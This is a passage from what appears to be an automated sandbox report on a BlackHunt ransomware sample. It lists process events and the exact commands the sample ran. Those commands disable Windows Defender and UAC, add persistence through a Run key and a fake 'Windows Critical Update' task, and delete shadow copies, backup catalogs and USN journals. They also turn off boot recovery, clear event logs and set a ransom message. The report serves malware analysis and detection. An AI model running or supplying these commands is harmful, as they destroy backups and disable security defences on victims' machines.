cmd.exe 108 PID 1480 wrote to memory of 1124 1480 cmd.exe 108 PID 2368 wrote to memory of 3848 2368 cmd.exe 109 PID 2368 wrote to memory of 3848 2368 cmd.exe 109 PID 564 wrote to memory of 3684 564 a0eef9229f427c34acb8e72350f6dee5b2a87e1d4c71af5e1eae8a0b2057f60e.exe 112 PID 564 wrote to memory of 3684 564 a0eef9229f427c34acb8e72350f6dee5b2a87e1d4c71af5e1eae8a0b2057f60e.exe 112 PID 564 wrote to memory of 4800 564 a0eef9229f427c34acb8e72350f6dee5b2a87e1d4c71af5e1eae8a0b2057f60e.exe 111 PID 564 wrote to memory of 4800 564 a0eef9229f427c34acb8e72350f6dee5b2a87e1d4c71af5e1eae8a0b2057f60e.exe 111 PID 4640 wrote to memory of 4740 4640 cmd.exe 114 PID 4640 wrote to memory of 4740 4640 cmd.exe 114 PID 564 wrote to memory of 3368 564 a0eef9229f427c34acb8e72350f6dee5b2a87e1d4c71af5e1eae8a0b2057f60e.exe 115 PID 564 wrote to memory of 3368 564 a0eef9229f427c34acb8e72350f6dee5b2a87e1d4c71af5e1eae8a0b2057f60e.exe 115 PID 564 wrote to memory of 380 564 a0eef9229f427c34acb8e72350f6dee5b2a87e1d4c71af5e1eae8a0b2057f60e.exe 117 PID 564 wrote to memory of 380 564 a0eef9229f427c34acb8e72350f6dee5b2a87e1d4c71af5e1eae8a0b2057f60e.exe 117 PID 564 wrote to memory of 1516 564 a0eef9229f427c34acb8e72350f6dee5b2a87e1d4c71af5e1eae8a0b2057f60e.exe 119 PID 564 wrote to memory of 1516 564 a0eef9229f427c34acb8e72350f6dee5b2a87e1d4c71af5e1eae8a0b2057f60e.exe 119 PID 3060 wrote to memory of 4960 3060 cmd.exe 122 PID 3060 wrote to memory of 4960 3060 cmd.exe 122 PID 564 wrote to memory of 1808 564 a0eef9229f427c34acb8e72350f6dee5b2a87e1d4c71af5e1eae8a0b2057f60e.exe 187 PID 564 wrote to memory of 1808 564 a0eef9229f427c34acb8e72350f6dee5b2a87e1d4c71af5e1eae8a0b2057f60e.exe 187 PID 3684 wrote to memory of 2172 3684 cmd.exe 124 PID 3684 wrote to memory of 2172 3684 cmd.exe 124 PID 564 wrote to memory of 1624 564 a0eef9229f427c34acb8e72350f6dee5b2a87e1d4c71af5e1eae8a0b2057f60e.exe 125 PID 564 wrote to memory of 1624 564 a0eef9229f427c34acb8e72350f6dee5b2a87e1d4c71af5e1eae8a0b2057f60e.exe 125 PID 3368 wrote to memory of 3500 3368 cmd.exe 175 PID 3368 wrote to memory of 3500 3368 cmd.exe 175 PID 564 wrote to memory of 3160 564 a0eef9229f427c34acb8e72350f6dee5b2a87e1d4c71af5e1eae8a0b2057f60e.exe 135 PID 564 wrote to memory of 3160 564 a0eef9229f427c34acb8e72350f6dee5b2a87e1d4c71af5e1eae8a0b2057f60e.exe 135 PID 564 wrote to memory of 2204 564 a0eef9229f427c34acb8e72350f6dee5b2a87e1d4c71af5e1eae8a0b2057f60e.exe 128 PID 564 wrote to memory of 2204 564 a0eef9229f427c34acb8e72350f6dee5b2a87e1d4c71af5e1eae8a0b2057f60e.exe 128 PID 564 wrote to memory of 4560 564 a0eef9229f427c34acb8e72350f6dee5b2a87e1d4c71af5e1eae8a0b2057f60e.exe 134 PID 564 wrote to memory of 4560 564 a0eef9229f427c34acb8e72350f6dee5b2a87e1d4c71af5e1eae8a0b2057f60e.exe 134 PID 4800 wrote to memory of 4208 4800 cmd.exe 131 PID 4800 wrote to memory of 4208 4800 cmd.exe 131 PID 1516 wrote to memory of 3280 1516 cmd.exe 133 PID 1516 wrote to memory of 3280 1516 cmd.exe 133 PID 1808 wrote to memory of 4440 1808 cmd.exe 136 PID 1808 wrote to memory of 4440 1808 cmd.exe 136 PID 380 wrote to memory of 3288 380 cmd.exe 140 PID 380 wrote to memory of 3288 380 cmd.exe 140 PID 564 wrote to memory of 1464 564 a0eef9229f427c34acb8e72350f6dee5b2a87e1d4c71af5e1eae8a0b2057f60e.exe 137 PID 564 wrote to memory of 1464 564 a0eef9229f427c34acb8e72350f6dee5b2a87e1d4c71af5e1eae8a0b2057f60e.exe 137 PID 564 wrote to memory of 3028 564 a0eef9229f427c34acb8e72350f6dee5b2a87e1d4c71af5e1eae8a0b2057f60e.exe 139 PID 564 wrote to memory of 3028 564 a0eef9229f427c34acb8e72350f6dee5b2a87e1d4c71af5e1eae8a0b2057f60e.exe 139 -
System policy modification 1 TTPs 3 IoCs
description ioc Process Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System a0eef9229f427c34acb8e72350f6dee5b2a87e1d4c71af5e1eae8a0b2057f60e.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0" a0eef9229f427c34acb8e72350f6dee5b2a87e1d4c71af5e1eae8a0b2057f60e.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLinkedConnections = "1" a0eef9229f427c34acb8e72350f6dee5b2a87e1d4c71af5e1eae8a0b2057f60e.exe -
Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
-
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
Processes
-
C:\Users\Admin\AppData\Local\Temp\a0eef9229f427c34acb8e72350f6dee5b2a87e1d4c71af5e1eae8a0b2057f60e.exe"C:\Users\Admin\AppData\Local\Temp\a0eef9229f427c34acb8e72350f6dee5b2a87e1d4c71af5e1eae8a0b2057f60e.exe"1⤵
- UAC bypass
- Checks computer location settings
- Checks whether UAC is enabled
- Enumerates connected drives
- Sets desktop wallpaper using registry
- Drops file in Program Files directory
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
- System policy modification
PID:564 -
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2" /f2⤵
- Suspicious use of WriteProcessMemory
PID:3148 -
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2" /f3⤵
- Modifies registry class
PID:4816
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f2⤵
- Suspicious use of WriteProcessMemory
PID:4844 -
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f3⤵
- Modifies registry class
PID:4500
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2" /f2⤵
- Suspicious use of WriteProcessMemory
PID:4372 -
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2" /f3⤵
- Modifies registry class
PID:3824
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f2⤵
- Suspicious use of WriteProcessMemory
PID:2368 -
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f3⤵
- Modifies registry class
PID:3848
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v "{2C5F9FCC-F266-43F6-BFD7-838DAE269E11}" /t REG_SZ /d "C:\ProgramData\#BlackHunt_ReadMe.hta" /f2⤵
- Suspicious use of WriteProcessMemory
PID:1480 -
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v "{2C5F9FCC-F266-43F6-BFD7-838DAE269E11}" /t REG_SZ /d "C:\ProgramData\#BlackHunt_ReadMe.hta" /f3⤵
- Adds Run key to start application
PID:1124
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f2⤵PID:4640
-
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f3⤵PID:4740
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /f2⤵
- Suspicious use of WriteProcessMemory
PID:3060 -
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /f3⤵
- Modifies Windows Defender Real-time Protection settings
PID:4960
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats" /v "Threats_ThreatSeverityDefaultAction" /t REG_DWORD /d 1 /f2⤵
- Suspicious use of WriteProcessMemory
PID:4800 -
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats" /v "Threats_ThreatSeverityDefaultAction" /t REG_DWORD /d 1 /f3⤵PID:4208
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Spynet" /v "SubmitSamplesConsent" /t REG_DWORD /d 2 /f2⤵
- Suspicious use of WriteProcessMemory
PID:3684 -
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Spynet" /v "SubmitSamplesConsent" /t REG_DWORD /d 2 /f3⤵PID:2172
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Low" /t REG_DWORD /d 6 /f2⤵
- Suspicious use of WriteProcessMemory
PID:3368 -
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Low" /t REG_DWORD /d 6 /f3⤵PID:3500
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Medium" /t REG_DWORD /d 6 /f2⤵
- Suspicious use of WriteProcessMemory
PID:380 -
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Medium" /t REG_DWORD /d 6 /f3⤵PID:3288
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "High" /t REG_DWORD /d 6 /f2⤵
- Suspicious use of WriteProcessMemory
PID:1516 -
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "High" /t REG_DWORD /d 6 /f3⤵PID:3280
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Severe" /t REG_DWORD /d 6 /f2⤵PID:1808
-
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Severe" /t REG_DWORD /d 6 /f3⤵PID:4440
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\UX Configuration" /v "Notification_Suppress" /t REG_DWORD /d 1 /f2⤵PID:1624
-
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\UX Configuration" /v "Notification_Suppress" /t REG_DWORD /d 1 /f3⤵PID:1756
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "StartMenuLogOff" /t REG_DWORD /d 1 /f2⤵PID:2204
-
C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "StartMenuLogOff" /t REG_DWORD /d 1 /f3⤵PID:436
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableChangePassword" /t REG_DWORD /d 1 /f2⤵PID:4560
-
C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableChangePassword" /t REG_DWORD /d 1 /f3⤵PID:1452
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoClose" /t REG_DWORD /d 1 /f2⤵PID:3160
-
C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoClose" /t REG_DWORD /d 1 /f3⤵PID:1584
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f2⤵PID:1464
-
C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f3⤵PID:3336
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "NoLogoff" /t REG_DWORD /d 1 /f2⤵PID:3028
-
C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "NoLogoff" /t REG_DWORD /d 1 /f3⤵PID:4836
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f2⤵PID:3324
-
C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f3⤵PID:3644
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableConfig" /t REG_DWORD /d 1 /f2⤵PID:1372
-
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableConfig" /t REG_DWORD /d 1 /f3⤵PID:3488
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupLauncher" /t REG_DWORD /d 1 /f2⤵PID:4968
-
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupLauncher" /t REG_DWORD /d 1 /f3⤵PID:3004
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WinRE" /v "DisableSetup" /t REG_DWORD /d 1 /f2⤵PID:2028
-
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WinRE" /v "DisableSetup" /t REG_DWORD /d 1 /f3⤵PID:4972
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableSR" /t REG_DWORD /d 1 /f2⤵PID:4604
-
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableSR" /t REG_DWORD /d 1 /f3⤵PID:2452
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableRestoreUI" /t REG_DWORD /d 1 /f2⤵PID:1628
-
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableRestoreUI" /t REG_DWORD /d 1 /f3⤵PID:7384
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableSystemBackupUI" /t REG_DWORD /d 1 /f2⤵PID:2096
-
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableSystemBackupUI" /t REG_DWORD /d 1 /f3⤵PID:5308
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupUI" /t REG_DWORD /d 1 /f2⤵PID:4636
-
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupUI" /t REG_DWORD /d 1 /f3⤵PID:6788
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 1 /f2⤵PID:3940
-
C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 1 /f3⤵PID:7392
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 1 /f2⤵PID:4656
-
C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 1 /f3⤵PID:10720
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c SCHTASKS.exe /Create /RU "NT AUTHORITY\SYSTEM" /sc onstart /TN "Windows Critical Update" /TR "C:\Users\Admin\AppData\Local\Temp\a0eef9229f427c34acb8e72350f6dee5b2a87e1d4c71af5e1eae8a0b2057f60e.exe" /F2⤵PID:3512
-
C:\Windows\system32\schtasks.exeSCHTASKS.exe /Create /RU "NT AUTHORITY\SYSTEM" /sc onstart /TN "Windows Critical Update" /TR "C:\Users\Admin\AppData\Local\Temp\a0eef9229f427c34acb8e72350f6dee5b2a87e1d4c71af5e1eae8a0b2057f60e.exe" /F3⤵
- Creates scheduled task(s)
PID:1756
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=401MB2⤵PID:3320
-
C:\Windows\system32\vssadmin.exevssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=401MB3⤵
- Enumerates connected drives
- Interacts with shadow copies
PID:4372
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=unbounded2⤵
- Suspicious use of WriteProcessMemory
PID:4640 -
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV13⤵PID:3500
-
-
C:\Windows\system32\vssadmin.exevssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=unbounded3⤵
- Enumerates connected drives
- Interacts with shadow copies
PID:7692
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=unbounded2⤵PID:4080
-
C:\Windows\system32\vssadmin.exevssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=unbounded3⤵
- Interacts with shadow copies
PID:1444
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=401MB2⤵PID:2388
-
C:\Windows\system32\vssadmin.exevssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=401MB3⤵
- Interacts with shadow copies
PID:8084
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c vssadmin.exe Delete Shadows /all /quiet2⤵PID:952
-
C:\Windows\system32\vssadmin.exevssadmin.exe Delete Shadows /all /quiet3⤵
- Interacts with shadow copies
PID:7624
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c bcdedit /set {default} recoveryenabled No2⤵PID:1056
-
C:\Windows\system32\bcdedit.exebcdedit /set {default} recoveryenabled No3⤵
- Modifies boot configuration data using bcdedit
PID:10152
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c bcdedit /set {default} bootstatuspolicy IgnoreAllFailures2⤵PID:2152
-
C:\Windows\system32\bcdedit.exebcdedit /set {default} bootstatuspolicy IgnoreAllFailures3⤵
- Modifies boot configuration data using bcdedit
PID:9460
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c fsutil.exe usn deletejournal /D C:2⤵
- Suspicious use of WriteProcessMemory
PID:1808 -
C:\Windows\system32\fsutil.exefsutil.exe usn deletejournal /D C:3⤵
- Deletes NTFS Change Journal
PID:10036
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable2⤵PID:4264
-
C:\Windows\system32\schtasks.exeschtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable3⤵PID:6812
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c wbadmin.exe delete catalog -quiet2⤵PID:3948
-
C:\Windows\system32\wbadmin.exewbadmin.exe delete catalog -quiet3⤵
- Deletes backup catalog
PID:6800
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c fsutil usn deletejournal /D F:\2⤵PID:14772
-
C:\Windows\system32\fsutil.exefsutil usn deletejournal /D F:\3⤵
- Enumerates connected drives
PID:7800
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c fsutil usn deletejournal /D C:\2⤵PID:14972
-
C:\Windows\system32\fsutil.exefsutil usn deletejournal /D C:\3⤵PID:7540
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c fsutil usn deletejournal /D M:\2⤵PID:14472
-
C:\Windows\system32\fsutil.exefsutil usn deletejournal /D M:\3⤵
- Enumerates connected drives
PID:5280
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Setup2⤵PID:7508
-
C:\Windows\system32\wevtutil.exewevtutil.exe cl Setup3⤵
- Clears Windows event logs
- Suspicious use of AdjustPrivilegeToken
PID:15304
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c wevtutil.exe cl System2⤵PID:8180
-
C:\Windows\system32\wevtutil.exewevtutil.exe cl System3⤵
- Clears Windows event logs
- Suspicious use of AdjustPrivilegeToken
PID:15104
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Application2⤵PID:15340
-
C:\Windows\system32\wevtutil.exewevtutil.exe cl Application3⤵
- Clears Windows event logs
- Suspicious use of AdjustPrivilegeToken
PID:4124
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Security2⤵PID:15212
-
C:\Windows\system32\wevtutil.exewevtutil.exe cl Security3⤵
- Clears Windows event logs
- Suspicious use of AdjustPrivilegeToken
PID:15488
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Security /e:false2⤵PID:15128
-
C:\Windows\system32\wevtutil.exewevtutil.exe cl Security /e:false3⤵
- Clears Windows event logs
- Suspicious use of AdjustPrivilegeToken
PID:6340
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c vssadmin.exe Delete Shadows /all /quiet2⤵PID:15160
-
C:\Windows\system32\vssadmin.exevssadmin.exe Delete Shadows /all /quiet3⤵
- Interacts with shadow copies
PID:16580
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c bcdedit /set {default} recoveryenabled No2⤵PID:8956
-
C:\Windows\system32\bcdedit.exebcdedit /set {default} recoveryenabled No3⤵
- Modifies boot configuration data using bcdedit
PID:15936
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c bcdedit /set {default} bootstatuspolicy IgnoreAllFailures2⤵PID:9108
-
C:\Windows\system32\bcdedit.exebcdedit /set {default} bootstatuspolicy IgnoreAllFailures3⤵
- Modifies boot configuration data using bcdedit
PID:15760
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c fsutil.exe usn deletejournal /D C:2⤵PID:16072
-
C:\Windows\system32\fsutil.exefsutil.exe usn deletejournal /D C:3⤵
- Deletes NTFS Change Journal
PID:18700
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c wbadmin.exe delete catalog -quiet2⤵PID:16032
-
C:\Windows\system32\wbadmin.exewbadmin.exe delete catalog -quiet3⤵
- Deletes backup catalog
PID:16140
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable2⤵PID:15836
-
C:\Windows\system32\schtasks.exeschtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable3⤵PID:15864
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c REG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticecaption" /t REG_SZ /d "WARNING WARNING WARNING. " /f2⤵PID:15716
-
C:\Windows\system32\reg.exeREG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticecaption" /t REG_SZ /d "WARNING WARNING WARNING. " /f3⤵PID:15496
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c REG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticetext" /t REG_SZ /d " Your Network Infected With BlackHunt Ransomware Team. ALL Your important Files Encrypted and Stolen , Do You Want Your Files? read [ReadMe] Files carefully and contact us by [[email protected]] AND [[email protected]] " /f2⤵PID:15648
-
C:\Windows\system32\reg.exeREG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticetext" /t REG_SZ /d " Your Network Infected With BlackHunt Ransomware Team. ALL Your important Files Encrypted and Stolen , Do You Want Your Files? read [ReadMe] Files carefully and contact us by [[email protected]] AND [[email protected]] " /f3⤵PID:15080
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c SCHTASKS.exe /Delete /TN "Windows Critical Update" /F2⤵PID:8720
-
C:\Windows\system32\schtasks.exeSCHTASKS.exe /Delete /TN "Windows Critical Update" /F3⤵PID:16324
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 0 /f2⤵PID:5852
-
C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 0 /f3⤵PID:16296
-
-
-
